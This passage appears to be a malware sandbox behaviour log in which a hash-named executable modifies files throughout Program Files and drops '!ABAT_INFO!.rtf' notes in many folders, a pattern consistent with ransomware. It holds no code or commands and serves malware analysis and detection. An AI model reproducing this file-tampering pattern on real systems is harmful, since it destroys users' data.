81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkServerCP 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Tripoli 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\jhall-2.0_05.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rio_Branco 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7Handle.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\cmm\GRAY.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Chicago 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Chisinau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\appletrailers.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\UserControl.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Boa_Vista 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\ir.idl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\precomplete 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\UTC 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\default_apps\youtube.crx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-options_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Vincennes 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Genko_1.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiling_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Reunion 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Funafuti 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\cli.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\NetworkServerControl.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\policytool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+8 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicTSFrame.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Broken_Hill 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\MEIPreload\preloaded_data.pb 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\84.0.4147.89\84.0.4147.89_chrome_installer.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Sofia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-12 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_MoveNoDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Porto_Velho 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Antarctica\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Curacao 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\booklist.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\simplexml.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\en-GB.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AppConfigInternal.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-modules_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-io_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util-lookup_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Nipigon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_mru_on_win7.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator_1.1.0.v20131217-1203.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\LogoDev.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Baku 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\conticon.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\gimap.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net_1.2.200.v20140124-2013.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_basestyle.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Buenos_Aires 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpcore_4.2.5.v201311072007.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Barbados 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Tunis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\MST7MDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands_3.6.100.v20140528-1422.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\tools.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\HST10 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Shanghai 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\bn.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\extensions\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kuching 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_pt_BR.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Perth 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\batch_window.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Knox 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application-views_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Bermuda 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Anchorage 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Azores 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Bougainville 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms_3.6.100.v20140422-1825.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_CopyDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Fakaofo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\AppConfigurationInternal.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmid.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_zh_TW.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Dawson_Creek 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Melbourne 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-ui.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Paris 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\browser\VisualElements\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\id.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Lindeman 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\org-openide-modules.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Tashkent 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\UseSelect.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\vlc.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Module.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\javaws.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\crashreporter.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-3 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Belgrade 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Ndjamena 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\UCT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Havana 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\uk.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\bin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Canary 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.http_8.1.14.v20131031.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\klist.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Aqtau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Cayenne 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\La_Rioja 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\DumontDUrville 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\epl-v10.html 